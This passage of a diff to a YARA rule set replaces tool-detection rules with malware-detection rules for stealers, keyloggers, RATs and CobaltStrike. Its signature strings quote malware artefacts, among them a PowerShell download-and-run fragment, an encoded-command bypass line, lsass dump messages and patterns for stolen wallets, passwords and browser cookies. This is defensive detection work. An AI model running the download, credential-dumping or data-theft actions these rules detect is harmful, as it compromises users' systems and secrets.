= "Stealer.JSON.JsonValue" ascii + $s7 = "<DetectBrowserss>b_" ascii + $s8 = "<TryGetDiscordPath>b_" ascii + $s9 = "antiVM" fullword ascii + $s10 = "downloadurl" fullword ascii + $s11 = "set_sPassword" fullword ascii + $txt0 = "{0} {1} .txt" fullword wide + $txt1 = "\\ScanningNetworks.txt" fullword wide + $txt2 = "\\SteamApps.txt" fullword wide + $txt3 = "-ErrorsLogs.txt" fullword wide + $txt4 = "-keylogs.txt" fullword wide + $txt5 = "Hardware & Soft.txt" fullword wide + $cnc0 = "/csharp/" ascii wide + $cnc1 = "token=" ascii wide + $cnc2 = "×tamp=" ascii wide + $cnc3 = "&session_id=" ascii wide + $cnc4 = "&aid=" ascii wide + $cnc5 = "&secret=" ascii wide + $cnc6 = "&api_key" ascii wide + $cnc7 = "&session_key=" ascii wide + $cnc8 = "&type=" ascii wide condition: - uint16( 0 ) == 0x5a4d and 8 of them + ( uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or 4 of ( $txt* ) or ( 4 of ( $s* ) and 2 of ( $txt* ) ) ) ) or ( 7 of ( $cnc* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_RTK_Hiddenrootkit : FILE +rule DITEKSHEN_MALWARE_Win_Betabot : FILE { meta: - description = "Detects the Hidden public rootkit" + description = "BetaBot payload" author = "ditekSHen" - id = "c9e9d160-224f-505f-a135-56a9793f99c2" + id = "377c500c-5727-5bea-ac46-cb69c868a607" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L533-L554" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1654-L1666" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "20180fc040c1b988b17b1ca9b61a7dab5180df4961a00f0afcb03e2cbe99b28f" + logic_hash = "e594d01874ee622169d6708ddc6cfde7f1d26d2bea1604961dc860700e8a1d5d" score = 75 - quality = 50 + quality = 73 tags = "FILE" strings: - $h1 = "Hid_State" fullword wide - $h2 = "Hid_StealthMode" fullword wide - $h3 = "Hid_HideFsDirs" fullword wide - $h4 = "Hid_HideFsFiles" fullword wide - $h5 = "Hid_HideRegKeys" fullword wide - $h6 = "Hid_HideRegValues" fullword wide - $h7 = "Hid_IgnoredImages" fullword wide - $h8 = "Hid_ProtectedImages" fullword wide - $s1 = "FLTMGR.SYS" fullword ascii - $s2 = "HAL.dll" fullword ascii - $s3 = "\\SystemRoot\\System32\\csrss.exe" fullword wide - $s4 = "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\%wZ" fullword wide - $s5 = "INIT" fullword ascii - $s6 = "\\hidden-master\\Debug\\QAssist.pdb" fullword ascii + $s1 = "__restart" fullword ascii + $s2 = "%SystemRoot%\\SysWOW64\\tapi3.dll" fullword wide + $s3 = "%SystemRoot%\\system32\\tapi3.dll" fullword wide + $s4 = "publicKeyToken=\"6595b64144ccf1df\"" ascii + $s5 = "VirtualProtectEx" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 3 of ( $h* ) or 5 of ( $s* ) or ( 2 of ( $s* ) and 2 of ( $h* ) ) ) + uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them } -rule DITEKSHEN_INDICATOR_TOOL_PET_Sharphound : FILE +rule DITEKSHEN_MALWARE_Win_Wshratplugin : FILE { meta: - description = "Detects BloodHound" + description = "WSHRAT keylogger plugin payload" author = "ditekSHen" - id = "d8f44e15-3e7c-5e5d-9d74-30c61e679fcb" + id = "45c4fc87-6c45-5cd7-9fc4-7d3ea664a740" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L556-L573" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1668-L1685" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "bdf10d0aabd6c41e8dd1f87c0fa141f300d785146d059fcd301ec35f65fbe990" + logic_hash = "3feeab43b58b533b7d2d41a71f2107e6f05b9c54ff805607843d253cadbe9384" score = 75 - quality = 48 + quality = 75 tags = "FILE" + snort_sid = "920010-920012" + clamav_sig = "MALWARE.Win.Trojan.WSHRAT-KLG" strings: - $id1 = "InvokeBloodHound" fullword ascii - $id2 = "Sharphound" ascii nocase - $s1 = "SamServerExecute" fullword ascii - $s2 = "get_RemoteDesktopUsers" fullword ascii - $s3 = "commandline.dll.compressed" ascii wide - $s4 = "operatingsystemservicepack" fullword wide - $s5 = "LDAP://" fullword wide - $s6 = "wkui1_logon_domain" fullword ascii - $s7 = "GpoProps" fullword ascii - $s8 = "a517a8de-5834-411d-abda-2d0e1766539c" fullword ascii nocase + $s1 = "GET /open-keylogger HTTP/1.1" fullword wide + $s2 = "KeyboardChange: nCode={0}, wParam={1}, vkCode={2}, scanCode={3}, flags={4}, dwExtraInfo={6}" wide + $s3 = "MouseChange: nCode={0}, wParam={1}, x={2}, y={3}, mouseData={4}, flags={5}, dwExtraInfo={7}" wide + $s4 = "sendKeyLog" fullword ascii + $s5 = "saveKeyLog" fullword ascii + $s6 = "get_TotalKeyboardClick" fullword ascii + $s7 = "get_SessionMouseClick" fullword ascii + $pdb = "\\Android\\documents\\visual studio 2010\\Projects\\Keylogger\\Keylogger\\obj\\x86\\Debug\\Keylogger.pdb" ascii condition: - uint16( 0 ) == 0x5a4d and ( all of ( $id* ) or 6 of ( $s* ) or ( 1 of ( $id* ) and 4 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of them } -rule DITEKSHEN_INDICATOR_TOOL_UAC_NSISUAC : FILE +rule DITEKSHEN_MALWARE_Win_Revengerat : FILE { meta: - description = "Detects NSIS UAC plugin" + description = "RevengeRAT and variants payload" author = "ditekSHen" - id = "4a7c20f6-bf0e-55fb-a0b9-7b51e4af7cd3" + id = "7d725050-108c-54b5-978e-2dd2124f5b0f" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L575-L587" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1687-L1713" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "48c0247c789328a0ff62816f5d6ecac7a0f2a3fe2cb95d99c0e7d988147f7137" + logic_hash = "be9e50052f45b94d5995db723dd64d16a91c5ba0d3f589c018155c0cce45124f" score = 75 quality = 75 tags = "FILE" + snort_sid = "920000-920002" strings: - $s1 = "HideCurrUserOpt" fullword wide - $s2 = "/UAC:%X /NCRC%s" fullword wide - $s3 = "2MyRunAsStrings" fullword wide - $s4 = "CheckElevationEnabled" fullword ascii - $s5 = "UAC.dll" fullword ascii + $l1 = "Lime.Connection" fullword ascii + $l2 = "Lime.Packets" fullword ascii + $l3 = "Lime.Settings" fullword ascii + $l4 = "Lime.NativeMethods" fullword ascii + $s1 = "GetAV" fullword ascii + $s2 = "keepAlivePing!" fullword ascii wide + $s3 = "Revenge-RAT" fullword ascii wide + $s4 = "*-]NK[-*" fullword ascii wide + $s5 = "RV_MUTEX" fullword ascii wide + $s6 = "set_SendBufferSize" fullword ascii + $s7 = "03C7F4E8FB359AEC0EEF0814B66A704FC43FB3A8" fullword ascii + $s8 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii + $s9 = "\\RevengeRAT\\" ascii + $q1 = "Select * from AntiVirusProduct" fullword ascii wide + $q2 = "SELECT * FROM FirewallProduct" fullword ascii wide + $q3 = "select * from Win32_Processor" fullword ascii wide condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $l* ) and 3 of ( $s* ) ) or ( all of ( $q* ) and 3 of ( $s* ) ) or 3 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_REM_Intelliadmin : FILE +rule DITEKSHEN_MALWARE_Win_TRAT : FILE { meta: - description = "Detects commerical IntelliAdmin remote tool" + description = "TRAT payload" author = "ditekSHen" - id = "15385e0b-ead4-5614-a04e-55878eb70b34" + id = "15f80970-6bc7-5e29-86d6-f7529a10d227" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L589-L602" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1715-L1730" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "8b601d68eff65bc6cc2fb46630a7021e229764f9a80f6d3278ba3b9f55e5b114" + logic_hash = "b8474c74cd9f21fcb3a8ae1c7a7a0a801f0f117782e9803cdae39daf7f0f8b2f" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.TRAT" strings: - $pdb1 = "\\Network Administrator" ascii - $pdb2 = "\\Binaries\\Plugins\\Tools\\RPCService.pdb" ascii - $s1 = "CIntelliAdminRPC" fullword wide - $s2 = "IntelliAdmin RPC Service" fullword wide - $s3 = "IntelliAdmin Remote Execute v" ascii - $s4 = "IntelliAdminRPC" fullword ascii + $s1 = "^STEAM_0:[0-1]:([0-9]{1,10})$" fullword wide + $s2 = "^7656119([0-9]{10})$" fullword wide + $s3 = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" ascii + $s4 = "\"schtasks\", \"/delete /tn UpdateWindows /f\");" ascii + $s5 = "ProcessWindowStyle.Hidden" ascii + $s6 = "+<>c+<<ListCommands>" ascii + $s7 = "//B //Nologo *Y" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( all of ( $pdb* ) or 2 of ( $s* ) ) + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpwmi : FILE +rule DITEKSHEN_MALWARE_Win_Cryptbot : FILE { meta: - description = "Detects SharpWMI" + description = "CryptBot/Fugrafa stealer payload" author = "ditekSHen" - id = "9c58d9fa-04b8-5a9c-8ae9-ff2e7530772f" + id = "248961dd-b98d-509b-92a0-1670b7687e25" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L604-L619" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1732-L1766" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "e6c5764d0883e2882e06f07e4729362011a4d65614259b85978e1c6ef5cfadb7" + logic_hash = "6322b8b1ad210fac4475c194e060046538d4174f69a7c0e3618646d262cd33bd" score = 75 - quality = 73 + quality = 69 tags = "FILE" + snort2_sid = "920110" + snort3_sid = "920108" + clamav_sig = "MALWARE.Win.Trojan.CryptBot" strings: - $s1 = "scriptKillTimeout" fullword ascii - $s2 = "RemoteWMIExecuteWithOutput" fullword ascii - $s3 = "RemoteWMIFirewall" fullword ascii - $s4 = "iex([char[]](@({0})|%{{$_-bxor{1}}}) -join '')" fullword wide - $s5 = "\\\\{0}\\root\\subscription" fullword wide - $s6 = "_Context##RANDOM##" fullword wide - $s7 = "executevbs" fullword wide - $s8 = "scriptb64" fullword wide + $s1 = "Username: %wS" fullword wide + $s2 = "Computername: %wS" fullword wide + $s3 = "/c rd /s /q %" wide + $s4 = "IP: N0t_IP" fullword wide + $s5 = "Country: N0t_Country" fullword wide + $s6 = "password-check" fullword ascii + $s7 = "Content-Disposition: form-data; name=\"file\"; filename=\"" ascii wide + $s8 = "[ %wS ]" wide + $s9 = "EXE_PATH:" wide + $s10 = "Username (Computername):" wide + $s11 = "Operating system language:" wide + $s12 = "/index.php" wide + $f1 = "*ledger*.txt" fullword wide + $f2 = "*crypto*.xlsx" fullword wide + $f3 = "*private*.txt" fullword wide + $f4 = "*wallet*.dat" fullword wide + $f5 = "*pass*.txt" fullword wide + $f6 = "*bitcoin*.txt" fullword wide + $p1 = "%USERPROFILE%\\Desktop\\*.txt" fullword wide + $p2 = "%USERPROFILE%\\Desktop\\secret.txt" fullword wide + $p3 = "%USERPROFILE%\\Desktop\\report.doc" fullword wide + $pattern1 = /(files_|_Files)\\(_?)(cookies|cryptocurrency|forms|passwords|system_info|screenshot|screen_desktop|information|files|wallet|cc|Coinomi)\\?(\.txt|\.jpg|\.jpeg)?/ ascii wide nocase + $pattern2 = /%(s|ws)\\%(s|ws)\\(Login Data|Cookies|Web Data)/ fullword wide + $pattern3 = /(_AllPasswords_list.txt|_AllForms_list.txt|_AllCookies_list.txt|_All_CC_list.txt|_Information.txt|_Info.txt|_Screen_Desktop.jpeg)/ fullword wide condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and ( ( 5 of ( $s* ) and 1 of ( $p* ) ) or ( 4 of ( $s* ) and 1 of ( $f* ) and 1 of ( $p* ) ) or ( 2 of ( $pattern* ) and 3 of ( $s* ) ) or ( #pattern1 > 6 and ( 2 of ( $s* ) or 1 of ( $p* ) ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Defendercontrol : FILE +rule DITEKSHEN_MALWARE_Win_Matiex : FILE { meta: - description = "Detects Defender Control" + description = "Matiex/XetimaLogger keylogger payload" author = "ditekSHen" - id = "7bc1f26e-2432-5642-b1e7-c87683f7d932" + id = "61803e0c-8f6a-5ded-855a-ff26eed1384f" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L621-L631" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1768-L1788" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "826ed0643a07580750eb11c4cf2c2759f53b6c2bda51705476edc4808abccbf8" + logic_hash = "62b45c43d99bef93a6c0e72200b869fdce331f8fa325640df7d8b72af56a3ef2" score = 75 - quality = 75 + quality = 73 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.MatiexKeylogger" strings: - $s1 = "Windows Defender Control" wide - $s2 = "www.sordum.org" wide ascii - $s3 = "dControl" wide + $id = "--M-A-T-I-E-X--K-E-Y-L-O-G-E-R--" ascii wide + $s1 = "StartKeylogger" fullword ascii + $s2 = "_KeyboardLoggerTimer" ascii + $s3 = "_ScreenshotLoggerTimer" ascii + $s4 = "_VoiceRecordLogger" ascii + $s5 = "_ClipboardLoggerTimer" ascii + $s6 = "get_logins" fullword ascii + $s7 = "get_processhackerFucked" fullword ascii + $s8 = "_ThePSWDSenders" fullword ascii + $pdb = "\\Before FprmT\\Document VB project\\FireFox Stub\\FireFox Stub\\obj\\Debug\\VNXT.pdb" ascii condition: - uint16( 0 ) == 0x5a4d and 2 of them + uint16( 0 ) == 0x5a4d and ( $id or 4 of ( $s* ) or ( $pdb and 2 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Mulit_Venomagent : FILE +rule DITEKSHEN_MALWARE_Win_Iamthekingkeylogger : FILE { meta: - description = "Detects Venom Proxy Agent" + description = "IAmTheKing Keylogger payload" author = "ditekSHen" - id = "598bc773-cbe9-503b-ba3e-27c2cde8910d" + id = "f9c84241-6db2-5243-9bea-2165104cb0c3" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L633-L645" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1790-L1805" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "5eda23a237404a44dc9eb057adbf6106166374168eb08e55c182da5c05ecb4f1" + logic_hash = "80d8cabfd02cd73e19e6cf1c2a8a5f06c5b3b502fe4f07289e92b448425aaa6d" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.IAmTheKingKeylogger" strings: - $s1 = "github.com/Dliv3/Venom/" ascii - $s2 = "3HpKQVB3nT3qaNQPT-ZU/SKJ55ofz5TEmg5O3ROWA/CUs_-gfa04tGVO633Z4G/OSeEpRRb0Sq_5R6ArIi-" ascii - $s3 = "venom_agent -" ascii - $s4 = "bufferssh-userauthtransmitfileunknown portwirep: p->m= != sweepgen" ascii - $s5 = "golang.org/x/crypto/ssh.(*handshakeTransport).readPacket" + $s1 = "[TIME:]%d/%d/%d %02d:%02d:%02d" fullword ascii + $s2 = "[TITLE:]" fullword ascii + $s3 = "%s-%02d-%02d-%02d-%02d" fullword ascii + $s4 = "[DATA]:" fullword ascii + $s5 = "[BK]" fullword ascii + $s6 = "Log.txt" fullword ascii + $s7 = "sonme hting is wrong x" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and 3 of them + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_TOOL_HFS_Webserver : FILE +rule DITEKSHEN_MALWARE_Win_Iamthekingscrcap : FILE { meta: - description = "Detects HFS Web Server" + description = "IAmTheKing screen capture payload" author = "ditekSHen" - id = "2c9d9a38-8a6c-5c53-84bc-4eef77933172" + id = "ba385194-9578-568c-b908-bc4fc742e52e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L647-L658" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1807-L1821" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f5b8947e3858466dae5f476790842500f8184c4676d8c0c4870adb7fd3206652" + logic_hash = "594ddad4e08bad51f90de1c4299e28b4800b4fa686bd4176e406ba401a1242ba" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "SOFTWARE\\Borland\\Delphi\\" ascii - $s2 = "C:\\code\\mine\\hfs\\scriptLib.pas" fullword ascii - $s3 = "hfs.*;*.htm*;descript.ion;*.comment;*.md5;*.corrupted;*.lnk" ascii - $s4 = "Server: HFS" ascii + $s1 = "@MyScreen.jpg" fullword wide + $s2 = "DISPLAY" fullword wide + $s3 = ".?AVCImage@ATL@@" fullword ascii + $s4 = ".?AVGdiplusBase@Gdiplus@@" fullword ascii + $s5 = ".?AVImage@Gdiplus@@" fullword ascii + $s6 = ".?AVBitmap@Gdiplus@@" fullword ascii + $s7 = ".?AVCAtlException@ATL@@" fullword ascii condition: uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_PROX_Lanproxy : FILE +rule DITEKSHEN_MALWARE_Win_Iamthekingkingofhearts : FILE { meta: - description = "Detects lanproxy-go-client" + description = "IAmTheKing King Of Hearts payload" author = "ditekSHen" - id = "71fc23d9-9aae-5666-832b-90cf5a86c474" + id = "95c73ec0-75b0-5d46-87da-b30feb170716" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L660-L675" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1823-L1843" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "13a5aaea0fb522e3badb4a60d2db8d7dd46e5721bd6dc2e2b2e29d49e197c375" + logic_hash = "75b6dd0ebb90fd04f9e4a0b1fc6a1bbf417fc66daad24c8b01f0390f6155ec55" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "serverShare" fullword ascii - $s2 = "parkingOnChan" fullword ascii - $s3 = "{{join .Names \", \"}}{{\"\\t\"}}{{.Usage}}{{end}}{{end}}{{end}}{{end}}{{" ascii - $s4 = "</table></thead></tbody>" fullword ascii - $s5 = "value=aacute;abreve;addressagrave;alt -> andand;angmsd;angsph;any -> apacir;approx;articleatilde;barvee;barwed;bdoUxXvbecaus;ber" ascii - $s6 = "/dev/urandom127.0.0.1:" ascii - $s7 = "non-IPv4 addressnon-IPv6 addressntrianglelefteq;object is remotepacer: H_m_prev=reflect mismatchregexp: Compile(remote I/O error" ascii - $s8 = ".WithDeadline(.in-addr.arpa." ascii + $s1 = "write info fail!!! GetLastError-->%u" fullword ascii + $s2 = "LookupAccountSid Error %u" fullword ascii + $s3 = "CreateServiceErrorID:%d" fullword ascii + $s4 = "In ControlServiceErrorID:%d" fullword ascii + $s5 = "In QueryServiceStatus ErrorID:%d" fullword ascii + $s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii + $s7 = "hello%s" fullword ascii + $s8 = "additional header failed..." fullword ascii + $s9 = "Set Option failed errcode: %ld" fullword ascii + $s10 = "add cookie failed..." fullword ascii + $u1 = "Mozilla/4.0 (compatible; )" fullword ascii + $u2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 6 of them + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $u* ) and 4 of ( $s* ) ) or ( all of ( $u* ) and 3 of ( $s* ) ) or ( 5 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Peirates : FILE +rule DITEKSHEN_MALWARE_Win_Cobaltstrike : FILE { meta: - description = "Detects Kubernetes penetration tool Peirates" + description = "CobaltStrike payload" author = "ditekSHen" - id = "74ce83ed-0d93-5cb0-97e8-6885ae83b336" + id = "140e16d0-0102-5650-a371-c95013d7f021" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L677-L694" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1845-L1864" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "321f06af098283638f99d027dc3c95a25a72192a25c7afa5081a7dbff8c3acb7" + logic_hash = "43513aef0ed715f0c214d7a14e465350f9c1bcadf87535e1c12561e976398bb3" score = 75 - quality = 75 + quality = 50 tags = "FILE" strings: - $s1 = "DeprecatedServiceAccount" fullword ascii - $s2 = "LivenessProbe" fullword ascii - $s3 = "\\t\\tkubectl expose rs nginx --port=80 --target-port=8000" ascii - $s4 = "\\t\\tkubectl run hazelcast --image=hazelcast --port=5701" ascii - $s5 = "COMPREPLY[$i]=${COMPREPLY[$i]#\"$colon_word\"}" ascii - $s6 = "%*polymorphichelpers.HistoryViewerFunc" ascii - $s7 = "ListenAndServeTLS" ascii - $s8 = "DownwardAPI" ascii - $s9 = "; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);proto:" ascii - $s10 = "name: attack-" ascii + $s1 = "%%IMPORT%%" fullword ascii + $s2 = "www6.%x%x.%s" fullword ascii + $s3 = "cdn.%x%x.%s" fullword ascii + $s4 = "api.%x%x.%s" fullword ascii + $s5 = "%s (admin)" fullword ascii + $s6 = "could not spawn %s: %d" fullword ascii + $s7 = "Could not kill %d: %d" fullword ascii + $s8 = "Could not connect to pipe (%s): %d" fullword ascii + $s9 = /%s\.\d[(%08x).]+\.%x%x\.%s/ ascii + $pwsh1 = "IEX (New-Object Net.Webclient).DownloadString('http" ascii + $pwsh2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii condition: - uint16( 0 ) == 0x457f and 9 of them + uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( all of ( $pwsh* ) and 2 of ( $s* ) ) or ( #s9 > 6 and 4 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Botb : FILE +rule DITEKSHEN_MALWARE_Win_Redlinedropperahk : FILE { meta: - description = "Detects Break out the Box (BOtB)" + description = "Detects AutoIt/AutoHotKey executables dropping RedLine infostealer" author = "ditekSHen" - id = "acafa6dd-51b9-5945-b1df-7763a97a424f" + id = "16eee826-f1fd-5a6f-b6f3-e02ccd889614" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L696-L710" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1866-L1878" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a01f796b27852f9217d9bfea32f8d9ffb3c88521d4413f6612f7a0544cf44fb3" + logic_hash = "0950fe9daa02f3a8fd527f75275766111be7e8774578963b0bdb455800dfc4f9" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-AHK" strings: - $s1 = "to unallocated span%%!%c(*big.Float=%s), RecursionDesired: /usr/share/zoneinfo//{Bucket}/{Key+}?acl/{Bucket}?accelerate/{Bucket}?encryption/{Bucket}?" ascii - $s2 = "exploit CVE-2019-5736 with command: [ERROR] In Enabling CGROUP Notifications -> 'echo 1 > [INFO] CGROUP may exist, attempting exploit regardless" ascii - $s3 = "main.execShellCmd" ascii - $s4 = "[*] Data uploaded to:[+]" ascii - $s5 = "whitespace or line breakfailed to find credentials in the environment.failed to get %s EC2 instance role credentialsfirst" ascii - $s6 = "This process will exit IF an EXECVE is called in the Container or if the Container is manually stoppedPerform reverse DNS lookups" ascii - $s7 = "http: request too largehttp://100.100.100.200/http://169.254.169.254/index out of range" ascii + $s1 = ".SetRequestHeader(\"User-Agent\",\" ( \" OSName \" | \" bit \" | \" CPUNAme \"\"" ascii + $s2 = ":= \" | Windows Defender\"" ascii + $s3 = "WindowSpy.ahk" wide + $s4 = ">AUTOHOTKEY SCRIPT<" fullword wide condition: - uint16( 0 ) == 0x457f and 6 of them + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_LSASS_Createminidump : FILE +rule DITEKSHEN_MALWARE_Win_Dlagent01 : FILE { meta: - description = "Detects CreateMiniDump tool" + description = "Detects known downloader agent" author = "ditekSHen" - id = "0d8642d1-2ed9-5270-a54a-6ba788026f5f" + id = "85ead6fd-b56e-5e78-8fb4-7c9ecb4c0b58" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L712-L724" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1880-L1894" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "577ccc783554363c0bed80d9642e8a0f107fc2ec66d84f76b9556aa3506c86c0" + logic_hash = "7aec81655af9b779a314c3e2cff933aa6426fcfe21b5a87e60e159c7e7f5238a" score = 75 quality = 75 tags = "FILE" + snort_sid = "920007" + clamav_sig = "MALWARE.Win.Trojan.DLAgent01" strings: - $s1 = "lsass.dmp" fullword wide - $s2 = "lsass dumped successfully!" ascii - $s3 = "Got lsass.exe PID:" ascii - $s4 = "\\experiments\\CreateMiniDump\\CreateMiniDump\\" ascii - $s5 = "MiniDumpWriteDump" fullword ascii + $s1 = "Mozilla/5.0 Gecko/41.0 Firefox/41.0" fullword wide + $s2 = "/Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List" fullword wide + $s3 = "GUID.log" fullword wide + $s4 = "NO AV" fullword wide + $s5 = "%d:%I64d:%I64d:%I64d" fullword wide condition: - uint16( 0 ) == 0x5a4d and 2 of them + uint16( 0 ) == 0x5a4d and 4 of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Browserpassworddumper : FILE +rule DITEKSHEN_MALWARE_Linux_PLEAD : FILE { meta: - description = "Detects SecurityXploded Browser Password Dumper tool" + description = "PLEAD Linux payload" author = "ditekSHen" - id = "ce90ef96-43c0-5d68-ba7d-21aafb3f754b" + id = "07aa0561-d6d9-53b6-97ac-670cdf04335d" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = 